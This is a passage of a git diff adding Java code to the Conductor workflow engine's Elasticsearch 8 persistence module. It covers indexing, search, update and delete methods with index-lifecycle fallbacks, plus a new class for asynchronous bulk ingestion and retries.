+ long startTime = Instant.now().toEpochMilli(); + String taskId = task.getTaskId(); + + Refresh refreshPolicy = properties.isWaitForIndexRefresh() ? Refresh.WaitFor : null; + indexObject(taskIndexName, TASK_DOC_TYPE, taskId, task, refreshPolicy); + long endTime = Instant.now().toEpochMilli(); + logger.debug( + "Time taken {} for indexing task:{} in workflow: {}", + endTime - startTime, + taskId, + task.getWorkflowId()); + Monitors.recordESIndexTime("index_task", TASK_DOC_TYPE, endTime - startTime); + Monitors.recordWorkerQueueSize( + "indexQueue", ((ThreadPoolExecutor) executorService).getQueue().size()); + } catch (Exception e) { + logger.error("Failed to index task: {}", task.getTaskId(), e); + } + } + + @Override + public CompletableFuture asyncIndexTask(TaskSummary task) { + return CompletableFuture.runAsync(() -> indexTask(task), executorService); + } + + @Override + public void addTaskExecutionLogs(List taskExecLogs) { + if (taskExecLogs.isEmpty()) { + return; + } + + long startTime = Instant.now().toEpochMilli(); + List operations = new ArrayList<>(); + for (TaskExecLog log : taskExecLogs) { + operations.add( + BulkOperation.of(op -> op.index(i -> i.index(logIndexName).document(log)))); + } + + try { + executeWithRetry(() -> elasticSearchClient.bulk(b -> b.operations(operations))); + long endTime = Instant.now().toEpochMilli(); + logger.debug("Time taken {} for indexing taskExecutionLogs", endTime - startTime); + Monitors.recordESIndexTime( + "index_task_execution_logs", LOG_DOC_TYPE, endTime - startTime); + Monitors.recordWorkerQueueSize( + "logQueue", ((ThreadPoolExecutor) logExecutorService).getQueue().size()); + } catch (Exception e) { + List taskIds = + taskExecLogs.stream().map(TaskExecLog::getTaskId).collect(Collectors.toList()); + logger.error("Failed to index task execution logs for tasks: {}", taskIds, e); + } + } + + @Override + public CompletableFuture asyncAddTaskExecutionLogs(List logs) { + return CompletableFuture.runAsync(() -> addTaskExecutionLogs(logs), logExecutorService); + } + + @Override + public List getTaskExecutionLogs(String taskId) { + try { + Query query = boolQueryBuilder("taskId='" + taskId + "'", "*"); + + SearchResponse response = + elasticSearchClient.search( + s -> + s.index(logIndexPrefix) + .query(query) + .sort( + sort -> + sort.field( + field -> + field.field( + "createdTime") + .order( + SortOrder + .Asc))) + .size(properties.getTaskLogResultLimit()) + .trackTotalHits(t -> t.enabled(true)), + TaskExecLog.class); + + return mapTaskExecLogsResponse(response); + } catch (Exception e) { + logger.error("Failed to get task execution logs for task: {}", taskId, e); + } + return Collections.emptyList(); + } + + private List mapTaskExecLogsResponse(SearchResponse response) { + List logs = new ArrayList<>(); + response.hits() + .hits() + .forEach( + hit -> { + if (hit.source() != null) { + logs.add(hit.source()); + } + }); + return logs; + } + + @Override + public List getMessages(String queue) { + try { + Query query = boolQueryBuilder("queue='" + queue + "'", "*"); + + SearchResponse response = + elasticSearchClient.search( + s -> + s.index(messageIndexPrefix) + .query(query) + .sort( + sort -> + sort.field( + field -> + field.field("created") + .order( + SortOrder + .Asc))) + .trackTotalHits(t -> t.enabled(true)), + Map.class); + return mapGetMessagesResponse(response); + } catch (Exception e) { + logger.error("Failed to get messages for queue: {}", queue, e); + } + return Collections.emptyList(); + } + + private List mapGetMessagesResponse(SearchResponse response) { + List messages = new ArrayList<>(); + response.hits() + .hits() + .forEach( + hit -> { + Map source = hit.source(); + if (source == null) { + return; + } + Object messageId = source.get("messageId"); + Object payload = source.get("payload"); + Message msg = + new Message( + messageId != null ? messageId.toString() : null, + payload != null ? payload.toString() : null, + null); + messages.add(msg); + }); + return messages; + } + + @Override + public List getEventExecutions(String event) { + try { + Query query = boolQueryBuilder("event='" + event + "'", "*"); + + SearchResponse response = + elasticSearchClient.search( + s -> + s.index(eventIndexPrefix) + .query(query) + .sort( + sort -> + sort.field( + field -> + field.field("created") + .order( + SortOrder + .Asc))) + .trackTotalHits(t -> t.enabled(true)), + EventExecution.class); + + return mapEventExecutionsResponse(response); + } catch (Exception e) { + logger.error("Failed to get executions for event: {}", event, e); + } + return Collections.emptyList(); + } + + private List mapEventExecutionsResponse( + SearchResponse response) { + List executions = new ArrayList<>(); + response.hits() + .hits() + .forEach( + hit -> { + if (hit.source() != null) { + executions.add(hit.source()); + } + }); + return executions; + } + + @Override + public void addMessage(String queue, Message message) { + try { + long startTime = Instant.now().toEpochMilli(); + Map doc = new HashMap<>(); + doc.put("messageId", message.getId()); + doc.put("payload", message.getPayload()); + doc.put("queue", queue); + doc.put("created", System.currentTimeMillis()); + + indexObject(messageIndexName, MSG_DOC_TYPE, doc); + long endTime = Instant.now().toEpochMilli(); + logger.debug( + "Time taken {} for indexing message: {}", + endTime - startTime, + message.getId()); + Monitors.recordESIndexTime("add_message", MSG_DOC_TYPE, endTime - startTime); + } catch (Exception e) { + logger.error("Failed to index message: {}", message.getId(), e); + } + } + + @Override + public CompletableFuture asyncAddMessage(String queue, Message message) { + return CompletableFuture.runAsync(() -> addMessage(queue, message), executorService); + } + + @Override + public void addEventExecution(EventExecution eventExecution) { + try { + long startTime = Instant.now().toEpochMilli(); + String id = + eventExecution.getName() + + "." + + eventExecution.getEvent() + + "." + + eventExecution.getMessageId() + + "." + + eventExecution.getId(); + + indexObject(eventIndexName, EVENT_DOC_TYPE, id, eventExecution, null); + long endTime = Instant.now().toEpochMilli(); + logger.debug( + "Time taken {} for indexing event execution: {}", + endTime - startTime, + eventExecution.getId()); + Monitors.recordESIndexTime("add_event_execution", EVENT_DOC_TYPE, endTime - startTime); + Monitors.recordWorkerQueueSize( + "logQueue", ((ThreadPoolExecutor) logExecutorService).getQueue().size()); + } catch (Exception e) { + logger.error("Failed to index event execution: {}", eventExecution.getId(), e); + } + } + + @Override + public CompletableFuture asyncAddEventExecution(EventExecution eventExecution) { + return CompletableFuture.runAsync( + () -> addEventExecution(eventExecution), logExecutorService); + } + + @Override + public SearchResult searchWorkflows( + String query, String freeText, int start, int count, List sort) { + try { + return searchObjectIdsViaExpression( + query, start, count, sort, freeText, WORKFLOW_DOC_TYPE); + } catch (Exception e) { + throw new NonTransientException(e.getMessage(), e); + } + } + + @Override + public SearchResult searchWorkflowSummary( + String query, String freeText, int start, int count, List sort) { + try { + return searchObjectsViaExpression( + query, + start, + count, + sort, + freeText, + WORKFLOW_DOC_TYPE, + false, + WorkflowSummary.class); + } catch (Exception e) { + throw new TransientException(e.getMessage(), e); + } + } + + private SearchResult searchObjectsViaExpression( + String structuredQuery, + int start, + int size, + List sortOptions, + String freeTextQuery, + String docType, + boolean idOnly, + Class clazz) + throws ParserException, IOException { + return searchSupport.searchObjectsViaExpression( + structuredQuery, start, size, sortOptions, freeTextQuery, docType, idOnly, clazz); + } + + @Override + public SearchResult searchTasks( + String query, String freeText, int start, int count, List sort) { + try { + return searchObjectIdsViaExpression(query, start, count, sort, freeText, TASK_DOC_TYPE); + } catch (Exception e) { + throw new NonTransientException(e.getMessage(), e); + } + } + + @Override + public SearchResult searchTaskSummary( + String query, String freeText, int start, int count, List sort) { + try { + return searchObjectsViaExpression( + query, start, count, sort, freeText, TASK_DOC_TYPE, false, TaskSummary.class); + } catch (Exception e) { + throw new TransientException(e.getMessage(), e); + } + } + + @Override + public void removeWorkflow(String workflowId) { + long startTime = Instant.now().toEpochMilli(); + try { + List taskIds = findTaskIdsForWorkflow(workflowId); + if (!taskIds.isEmpty()) { + deleteTaskLogsByTaskIds(taskIds); + } + deleteTasksByWorkflowId(workflowId); + + DeleteOutcome outcome = deleteByIdWithIlmFallback(workflowIndexName, workflowId); + if (outcome == DeleteOutcome.NOT_FOUND) { + logger.error("Index removal failed - document not found by id: {}", workflowId); + } + long endTime = Instant.now().toEpochMilli(); + logger.debug( + "Time taken {} for removing workflow: {}", endTime - startTime, workflowId); + Monitors.recordESIndexTime("remove_workflow", WORKFLOW_DOC_TYPE, endTime - startTime); + Monitors.recordWorkerQueueSize( + "indexQueue", ((ThreadPoolExecutor) executorService).getQueue().size()); + } catch (IOException e) { + logger.error("Failed to remove workflow {} from index", workflowId, e); + Monitors.error(className, "remove"); + } + } + + @Override + public CompletableFuture asyncRemoveWorkflow(String workflowId) { + return CompletableFuture.runAsync(() -> removeWorkflow(workflowId), executorService); + } + + @Override + public void updateWorkflow(String workflowInstanceId, String[] keys, Object[] values) { + if (keys.length != values.length) { + throw new NonTransientException("Number of keys and values do not match"); + } + + long startTime = Instant.now().toEpochMilli(); + Map source = + IntStream.range(0, keys.length) + .boxed() + .collect(Collectors.toMap(i -> keys[i], i -> values[i])); + + logger.debug("Updating workflow {} with {}", workflowInstanceId, source); + try { + UpdateOutcome outcome = + updateByIdWithIlmFallback(workflowIndexName, workflowInstanceId, source); + if (outcome == UpdateOutcome.NOT_FOUND) { + throw new NotFoundException( + "Workflow %s not found in index alias %s", + workflowInstanceId, workflowIndexName); + } + } catch (IOException e) { + Monitors.error(className, "update"); + throw new TransientException( + String.format("Failed to update workflow %s", workflowInstanceId), e); + } catch (RuntimeException e) { + Monitors.error(className, "update"); + throw e; + } finally { + long endTime = Instant.now().toEpochMilli(); + Monitors.recordESIndexTime("update_workflow", WORKFLOW_DOC_TYPE, endTime - startTime); + Monitors.recordWorkerQueueSize( + "indexQueue", ((ThreadPoolExecutor) executorService).getQueue().size()); + } + } + + @Override + public void removeTask(String workflowId, String taskId) { + long startTime = Instant.now().toEpochMilli(); + + SearchResult taskSearchResult = + searchTasks( + String.format("(taskId='%s') AND (workflowId='%s')", taskId, workflowId), + "*", + 0, + 1, + null); + + if (taskSearchResult.getTotalHits() == 0) { + logger.error("Task: {} does not belong to workflow: {}", taskId, workflowId); + Monitors.error(className, "removeTask"); + return; + } + + try { + DeleteOutcome outcome = deleteByIdWithIlmFallback(taskIndexName, taskId); + if (outcome != DeleteOutcome.DELETED) { + logger.error("Index removal failed - task not found by id: {}", workflowId); + Monitors.error(className, "removeTask"); + } + deleteTaskLogsByTaskIds(Collections.singletonList(taskId)); + long endTime = Instant.now().toEpochMilli(); + logger.debug( + "Time taken {} for removing task:{} of workflow: {}", + endTime - startTime, + taskId, + workflowId); + Monitors.recordESIndexTime("remove_task", "", endTime - startTime); + Monitors.recordWorkerQueueSize( + "indexQueue", ((ThreadPoolExecutor) executorService).getQueue().size()); + } catch (IOException e) { + logger.error( + "Failed to remove task {} of workflow: {} from index", taskId, workflowId, e); + Monitors.error(className, "removeTask"); + } + } + + private List findTaskIdsForWorkflow(String workflowId) { + int pageSize = 500; + int start = 0; + long totalHits = 0; + List taskIds = new ArrayList<>(); + try { + Query query = Query.of(q -> q.term(t -> t.field("workflowId").value(workflowId))); + do { + SearchResult result = + searchObjectIds(taskIndexName, query, start, pageSize, null); + if (totalHits == 0) { + totalHits = result.getTotalHits(); + } + taskIds.addAll(result.getResults()); + start += pageSize; + if (start >= 10_000) { + if (totalHits > taskIds.size()) { + logger.warn( + "Task log cleanup capped at {} tasks for workflow {} (totalHits={})", + taskIds.size(), + workflowId, + totalHits); + } + break; + } + } while (start < totalHits); + } catch (Exception e) { + logger.warn("Failed to fetch task ids for workflow {}", workflowId, e); + } + return taskIds; + } + + private void deleteTasksByWorkflowId(String workflowId) { + Query query = Query.of(q -> q.term(t -> t.field("workflowId").value(workflowId))); + deleteByQuery(taskIndexName, query, "tasks for workflow " + workflowId); + } + + private void deleteTaskLogsByTaskIds(List taskIds) { + if (taskIds == null || taskIds.isEmpty()) { + return; + } + List uniqueIds = + taskIds.stream().filter(Objects::nonNull).distinct().collect(Collectors.toList()); + for (int i = 0; i < uniqueIds.size(); i += TASK_LOG_DELETE_BATCH_SIZE) { + List batch = + uniqueIds.subList( + i, Math.min(i + TASK_LOG_DELETE_BATCH_SIZE, uniqueIds.size())); + Query query = + Query.of( + q -> + q.terms( + t -> + t.field("taskId") + .terms( + tv -> + tv.value( + batch.stream() + .map( + FieldValue + ::of) + .collect( + Collectors + .toList()))))); + deleteByQuery(logIndexName, query, "task logs"); + } + } + + private void deleteByQuery(String indexName, Query query, String description) { + try { + DeleteByQueryResponse response = + executeWithRetry( + () -> + elasticSearchClient.deleteByQuery( + d -> d.index(indexName).query(query).refresh(true))); + if (response.failures() != null && !response.failures().isEmpty()) { + logger.warn( + "Delete-by-query for {} had {} failures", + description, + response.failures().size()); + } + } catch (Exception e) { + logger.warn("Delete-by-query failed for {}", description, e); + } + } + + @Override + public CompletableFuture asyncRemoveTask(String workflowId, String taskId) { + return CompletableFuture.runAsync(() -> removeTask(workflowId, taskId), executorService); + } + + @Override + public void updateTask(String workflowId, String taskId, String[] keys, Object[] values) { + if (keys.length != values.length) { + throw new NonTransientException("Number of keys and values do not match"); + } + + long startTime = Instant.now().toEpochMilli(); + Map source = + IntStream.range(0, keys.length) + .boxed() + .collect(Collectors.toMap(i -> keys[i], i -> values[i])); + + logger.debug("Updating task: {} of workflow: {} with {}", taskId, workflowId, source); + try { + UpdateOutcome outcome = updateByIdWithIlmFallback(taskIndexName, taskId, source); + if (outcome == UpdateOutcome.NOT_FOUND) { + throw new NotFoundException( + "Task %s not found in index alias %s", taskId, taskIndexName); + } + } catch (IOException e) { + Monitors.error(className, "update"); + throw new TransientException( + String.format("Failed to update task %s of workflow %s", taskId, workflowId), + e); + } catch (RuntimeException e) { + Monitors.error(className, "update"); + throw e; + } finally { + long endTime = Instant.now().toEpochMilli(); + Monitors.recordESIndexTime("update_task", "", endTime - startTime); + Monitors.recordWorkerQueueSize( + "indexQueue", ((ThreadPoolExecutor) executorService).getQueue().size()); + } + } + + private enum UpdateOutcome { + UPDATED, + NOT_FOUND + } + + private enum DeleteOutcome { + DELETED, + NOT_FOUND + } + + /** + * With ILM rollover, an alias write index may not contain the requested document (it might live + * in an older backing index). This method first attempts an update against the alias; on + * NOT_FOUND, it resolves the backing index via an ids query and retries the update against that + * index. + */ + private UpdateOutcome updateByIdWithIlmFallback( + String indexAlias, String id, Map source) throws IOException { + UpdateOutcome aliasOutcome = updateById(indexAlias, id, source); + if (aliasOutcome != UpdateOutcome.NOT_FOUND) { + return aliasOutcome; + } + + Optional resolvedIndex = resolveSingleIndexForId(indexAlias, id); + if (resolvedIndex.isEmpty()) { + return UpdateOutcome.NOT_FOUND; + } + + return updateById(resolvedIndex.get(), id, source); + } + + private UpdateOutcome updateById(String indexOrAlias, String id, Map source) + throws IOException { + try { + UpdateResponse response = + executeWithRetry( + () -> + elasticSearchClient.update( + u -> u.index(indexOrAlias).id(id).doc(source), + Map.class)); + return response.result() == Result.NotFound + ? UpdateOutcome.NOT_FOUND + : UpdateOutcome.UPDATED; + } catch (ElasticsearchException e) { + if (e.status() == HttpStatus.SC_NOT_FOUND) { + return UpdateOutcome.NOT_FOUND; + } + throw e; + } + } + + private Optional resolveSingleIndexForId(String indexAlias, String id) + throws IOException { + Query idsQuery = Query.of(q -> q.ids(i -> i.values(id))); + SearchResponse response = + executeWithRetry( + () -> + elasticSearchClient.search( + s -> + s.index(indexAlias) + .query(idsQuery) + .size(2) + .source(src -> src.fetch(false)), + Void.class)); + + List indices = + response.hits().hits().stream() + .map(hit -> hit.index()) + .filter(StringUtils::isNotBlank) + .distinct() + .toList(); + if (indices.isEmpty()) { + return Optional.empty(); + } + if (indices.size() > 1) { + throw new NonTransientException( + String.format( + "Found %d documents for id %s across multiple indices behind alias %s: %s", + indices.size(), id, indexAlias, indices)); + } + return Optional.of(indices.getFirst()); + } + + private DeleteOutcome deleteByIdWithIlmFallback(String indexAlias, String id) + throws IOException { + Optional writeIndex = resolveWriteIndexForAlias(indexAlias); + if (writeIndex.isPresent()) { + DeleteOutcome writeOutcome = deleteById(writeIndex.get(), id); + if (writeOutcome == DeleteOutcome.DELETED) { + return DeleteOutcome.DELETED; + } + } + + Optional resolvedIndex = resolveSingleIndexForId(indexAlias, id); + if (resolvedIndex.isEmpty()) { + return DeleteOutcome.NOT_FOUND; + } + return deleteById(resolvedIndex.get(), id); + } + + private DeleteOutcome deleteById(String indexName, String id) throws IOException { + try { + DeleteResponse response = + executeWithRetry( + () -> elasticSearchClient.delete(d -> d.index(indexName).id(id))); + return response.result() == Result.Deleted + ? DeleteOutcome.DELETED + : DeleteOutcome.NOT_FOUND; + } catch (ElasticsearchException e) { + if (e.status() == HttpStatus.SC_NOT_FOUND) { + return DeleteOutcome.NOT_FOUND; + } + throw e; + } + } + + private Map getDocumentSourceByIdWithIlmFallback(String indexAlias, String id) + throws IOException { + Optional writeIndex = resolveWriteIndexForAlias(indexAlias); + if (writeIndex.isPresent()) { + GetResponse response = + elasticSearchClient.get(g -> g.index(writeIndex.get()).id(id), Map.class); + if (response.found() && response.source() != null) { + return response.source(); + } + } + + Optional resolvedIndex = resolveSingleIndexForId(indexAlias, id); + if (resolvedIndex.isEmpty()) { + return null; + } + GetResponse response = + elasticSearchClient.get(g -> g.index(resolvedIndex.get()).id(id), Map.class); + return response.found() ? response.source() : null; + } + + private Optional resolveWriteIndexForAlias(String alias) throws IOException { + Request request = new Request(HttpMethod.GET, "/_alias/" + alias); + try { + Response response = elasticSearchAdminClient.performRequest(request); + JsonNode root = objectMapper.readTree(response.getEntity().getContent()); + if (root == null || !root.isObject()) { + return Optional.empty(); + } + + List writeIndices = new ArrayList<>(); + Iterator indexNames = root.fieldNames(); + while (indexNames.hasNext()) { + String indexName = indexNames.next(); + JsonNode indexNode = root.get(indexName); + if (indexNode == null) { + continue; + } + JsonNode aliasesNode = indexNode.get("aliases"); + if (aliasesNode == null || !aliasesNode.isObject()) { + continue; + } + JsonNode aliasNode = aliasesNode.get(alias); + if (aliasNode == null || !aliasNode.isObject()) { + continue; + } + JsonNode isWriteIndexNode = aliasNode.get("is_write_index"); + if (isWriteIndexNode != null && isWriteIndexNode.asBoolean(false)) { + writeIndices.add(indexName); + } + } + + if (writeIndices.isEmpty()) { + List allIndices = new ArrayList<>(); + root.fieldNames().forEachRemaining(allIndices::add); + if (allIndices.size() == 1) { + return Optional.of(allIndices.getFirst()); + } + return Optional.empty(); + } + if (writeIndices.size() > 1) { + throw new NonTransientException( + String.format( + "Alias %s has %d write indices: %s", + alias, writeIndices.size(), writeIndices)); + } + return Optional.of(writeIndices.getFirst()); + } catch (ResponseException e) { + int statusCode = e.getResponse().getStatusLine().getStatusCode(); + if (statusCode == HttpStatus.SC_NOT_FOUND) { + return Optional.empty(); + } + throw e; + } + } + + @Override + public CompletableFuture asyncUpdateTask( + String workflowId, String taskId, String[] keys, Object[] values) { + return CompletableFuture.runAsync( + () -> updateTask(workflowId, taskId, keys, values), executorService); + } + + @Override + public CompletableFuture asyncUpdateWorkflow( + String workflowInstanceId, String[] keys, Object[] values) { + return CompletableFuture.runAsync( + () -> updateWorkflow(workflowInstanceId, keys, values), executorService); + } + + @Override + public String get(String workflowInstanceId, String fieldToGet) { + try { + Map sourceAsMap = + getDocumentSourceByIdWithIlmFallback(workflowIndexName, workflowInstanceId); + if (sourceAsMap != null && sourceAsMap.get(fieldToGet) != null) { + return sourceAsMap.get(fieldToGet).toString(); + } + } catch (IOException e) { + logger.error( + "Unable to get Workflow: {} from ElasticSearch index: {}", + workflowInstanceId, + workflowIndexName, + e); + return null; + } + + logger.debug( + "Unable to find Workflow: {} in ElasticSearch index: {}.", + workflowInstanceId, + workflowIndexName); + return null; + } + + private SearchResult searchObjectIdsViaExpression( + String structuredQuery, + int start, + int size, + List sortOptions, + String freeTextQuery, + String docType) + throws ParserException, IOException { + return searchSupport.searchObjectIdsViaExpression( + structuredQuery, start, size, sortOptions, freeTextQuery, docType); + } + + private SearchResult searchObjectIds( + String indexName, Query queryBuilder, int start, int size) throws IOException { + return searchSupport.searchObjectIds(indexName, queryBuilder, start, size); + } + + /** + * Tries to find object ids for a given query in an index. + * + * @param indexName The name of the index. + * @param queryBuilder The query to use for searching. + * @param start The start to use. + * @param size The total return size. + * @param sortOptions A list of string options to sort in the form VALUE:ORDER; where ORDER is + * optional and can be either ASC OR DESC. + * @return The SearchResults which includes the count and IDs that were found. + * @throws IOException If we cannot communicate with ES. + */ + private SearchResult searchObjectIds( + String indexName, Query queryBuilder, int start, int size, List sortOptions) + throws IOException { + return searchSupport.searchObjectIds(indexName, queryBuilder, start, size, sortOptions); + } + + @Override + public List searchArchivableWorkflows(String indexName, long archiveTtlDays) { + try { + return searchSupport.searchArchivableWorkflows(indexName, archiveTtlDays); + } catch (IOException e) { + logger.error("Unable to communicate with ES to find archivable workflows", e); + return Collections.emptyList(); + } + } + + @Override + public long getWorkflowCount(String query, String freeText) { + try { + return getObjectCounts(query, freeText, WORKFLOW_DOC_TYPE); + } catch (Exception e) { + throw new NonTransientException(e.getMessage(), e); + } + } + + private long getObjectCounts(String structuredQuery, String freeTextQuery, String docType) + throws ParserException, IOException { + return searchSupport.getObjectCounts(structuredQuery, freeTextQuery, docType); + } + + public List searchRecentRunningWorkflows( + int lastModifiedHoursAgoFrom, int lastModifiedHoursAgoTo) { + try { + return searchSupport.searchRecentRunningWorkflows( + workflowIndexName, lastModifiedHoursAgoFrom, lastModifiedHoursAgoTo); + } catch (IOException e) { + logger.error("Unable to communicate with ES to find recent running workflows", e); + return Collections.emptyList(); + } + } + + private void indexObject(final String index, final String docType, final Object doc) { + bulkIngestionSupport.indexObject(index, docType, doc); + } + + private void indexObject( + final String index, + final String docType, + final String docId, + final Object doc, + final Refresh refreshPolicy) { + bulkIngestionSupport.indexObject(index, docType, docId, doc, refreshPolicy); + } +} diff --git a/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/index/Es8BulkIngestionSupport.java b/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/index/Es8BulkIngestionSupport.java new file mode 100644 index 0000000..aee2182 --- /dev/null +++ b/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/index/Es8BulkIngestionSupport.java @@ -0,0 +1,262 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.es8.dao.index; + +import java.util.ArrayList; +import java.util.List; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; +import java.util.concurrent.ScheduledExecutorService; +import java.util.concurrent.ThreadPoolExecutor; +import java.util.concurrent.TimeUnit; + +import org.apache.commons.lang3.tuple.ImmutablePair; +import org.apache.commons.lang3.tuple.Pair; +import org.conductoross.conductor.es8.config.ElasticSearchProperties; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.metrics.Monitors; + +import co.elastic.clients.elasticsearch.ElasticsearchAsyncClient; +import co.elastic.clients.elasticsearch.ElasticsearchClient; +import co.elastic.clients.elasticsearch._helpers.bulk.BulkIngester; +import co.elastic.clients.elasticsearch._helpers.bulk.BulkListener; +import co.elastic.clients.elasticsearch._types.Refresh; +import co.elastic.clients.elasticsearch.core.BulkRequest; +import co.elastic.clients.elasticsearch.core.BulkResponse; +import co.elastic.clients.elasticsearch.core.bulk.BulkOperation; + +/** Owns async bulk ingestion setup and lifecycle for ES8 indexing writes. */ +class Es8BulkIngestionSupport { + + private static final Logger logger = LoggerFactory.getLogger(Es8BulkIngestionSupport.class); + + private final ElasticsearchClient elasticSearchClient; + private final ElasticsearchAsyncClient elasticSearchAsyncClient; + private final RetryTemplate retryTemplate; + private final ElasticSearchProperties properties; + private final ExecutorService executorService; + private final ExecutorService logExecutorService; + private final String className; + private final int indexBatchSize; + private final int asyncBufferFlushTimeout; + private final ConcurrentHashMap, BulkIngester> bulkIngesters; + private final ConcurrentHashMap bulkRequestStartTimes; + private final ScheduledExecutorService bulkScheduler; + + Es8BulkIngestionSupport( + ElasticsearchClient elasticSearchClient, + ElasticsearchAsyncClient elasticSearchAsyncClient, + RetryTemplate retryTemplate, + ElasticSearchProperties properties, + ExecutorService executorService, + ExecutorService logExecutorService, + String className) { + this.elasticSearchClient = elasticSearchClient; + this.elasticSearchAsyncClient = elasticSearchAsyncClient; + this.retryTemplate = retryTemplate; + this.properties = properties; + this.executorService = executorService; + this.logExecutorService = logExecutorService; + this.className = className; + this.indexBatchSize = properties.getIndexBatchSize(); + this.asyncBufferFlushTimeout = (int) properties.getAsyncBufferFlushTimeout().getSeconds(); + this.bulkIngesters = new ConcurrentHashMap<>(); + this.bulkRequestStartTimes = new ConcurrentHashMap<>(); + this.bulkScheduler = + Executors.newSingleThreadScheduledExecutor( + runnable -> { + Thread thread = new Thread(runnable, "es8-bulk-flush"); + thread.setDaemon(true); + return thread; + }); + } + + void close() { + bulkIngesters.values().forEach(BulkIngester::close); + shutdownScheduler(); + } + + void indexObject(String index, String docType, Object doc) { + indexObject(index, docType, null, doc, null); + } + + void indexObject( + String index, String docType, String docId, Object doc, Refresh refreshPolicy) { + BulkOperation operation = + BulkOperation.of( + op -> + op.index( + i -> { + i.index(index).document(doc); + if (docId != null) { + i.id(docId); + } + return i; + })); + BulkIngester ingester = getBulkIngester(docType, refreshPolicy); + ingester.add(operation); + } + + private BulkIngester getBulkIngester(String docType, Refresh refreshPolicy) { + Pair requestKey = new ImmutablePair<>(docType, refreshPolicy); + return bulkIngesters.computeIfAbsent( + requestKey, key -> createBulkIngester(docType, refreshPolicy)); + } + + private BulkIngester createBulkIngester(String docType, Refresh refreshPolicy) { + BulkListener listener = + new BulkListener<>() { + @Override + public void beforeBulk( + long executionId, BulkRequest request, List contexts) { + bulkRequestStartTimes.put(executionId, System.currentTimeMillis()); + } + + @Override + public void afterBulk( + long executionId, + BulkRequest request, + List contexts, + BulkResponse response) { + long duration = recordBulkDuration(executionId); + if (duration >= 0) { + Monitors.recordESIndexTime("index_object", docType, duration); + } + Monitors.recordWorkerQueueSize( + "indexQueue", + ((ThreadPoolExecutor) executorService).getQueue().size()); + Monitors.recordWorkerQueueSize( + "logQueue", + ((ThreadPoolExecutor) logExecutorService).getQueue().size()); + if (response.errors()) { + List failedOperations = + collectFailedOperations(request, response); + long errorCount = failedOperations.size(); + Monitors.error(className, "index"); + logger.warn( + "Bulk indexing reported {} failures for doc type {} ({} items)", + errorCount, + docType, + response.items().size()); + retryFailedOperations(docType, failedOperations); + } + } + + @Override + public void afterBulk( + long executionId, + BulkRequest request, + List contexts, + Throwable failure) { + long duration = recordBulkDuration(executionId); + if (duration >= 0) { + Monitors.recordESIndexTime("index_object", docType, duration); + } + Monitors.error(className, "index"); + logger.error("Bulk indexing failed for doc type {}", docType, failure); + try { + retryTemplate.execute( + context -> { + elasticSearchClient.bulk(request); + return null; + }); + } catch (Exception retryException) { + logger.error( + "Bulk indexing retry failed for doc type {}", + docType, + retryException); + } + Monitors.recordWorkerQueueSize( + "indexQueue", + ((ThreadPoolExecutor) executorService).getQueue().size()); + Monitors.recordWorkerQueueSize( + "logQueue", + ((ThreadPoolExecutor) logExecutorService).getQueue().size()); + } + }; + + return BulkIngester.of( + builder -> { + builder.client(elasticSearchAsyncClient); + builder.maxOperations(indexBatchSize); + builder.maxConcurrentRequests( + Math.max(1, Math.min(4, properties.getAsyncMaxPoolSize()))); + if (asyncBufferFlushTimeout > 0) { + builder.flushInterval( + asyncBufferFlushTimeout, TimeUnit.SECONDS, bulkScheduler); + } + builder.listener(listener); + if (refreshPolicy != null) { + builder.globalSettings(b -> b.refresh(refreshPolicy)); + } + return builder; + }); + } + + private long recordBulkDuration(long executionId) { + Long start = bulkRequestStartTimes.remove(executionId); + if (start == null) { + return -1L; + } + return System.currentTimeMillis() - start; + } + + static List collectFailedOperations(BulkRequest request, BulkResponse response) { + List operations = request.operations(); + if (operations == null || operations.isEmpty()) { + return List.of(); + } + List failedOperations = new ArrayList<>(); + int itemCount = Math.min(operations.size(), response.items().size()); + for (int i = 0; i < itemCount; i++) { + if (response.items().get(i).error() != null) { + failedOperations.add(operations.get(i)); + } + } + return failedOperations; + } + + private void retryFailedOperations(String docType, List failedOperations) { + if (failedOperations.isEmpty()) { + return; + } + try { + retryTemplate.execute( + context -> { + elasticSearchClient.bulk(b -> b.operations(failedOperations)); + return null; + }); + } catch (Exception retryException) { + logger.error( + "Bulk indexing retry for failed items failed for doc type {}", + docType, + retryException); + } + } + + private void shutdownScheduler() { + try { + bulkScheduler.shutdown(); + if (!bulkScheduler.awaitTermination(30, TimeUnit.SECONDS)) { + bulkScheduler.shutdownNow(); + } + } catch (InterruptedException interruptedException) { + bulkScheduler.shutdownNow(); + Thread.currentThread().interrupt(); + } + } +} diff --git a/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/index/Es8IndexManagementSupport.java b/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/index/Es8IndexManagementSupport.java new file mode 100644 index 0000000..eca804e --- /dev/null +++ b/es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/index/Es8IndexManagementSupport.java @@ -0,0 +1,473 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

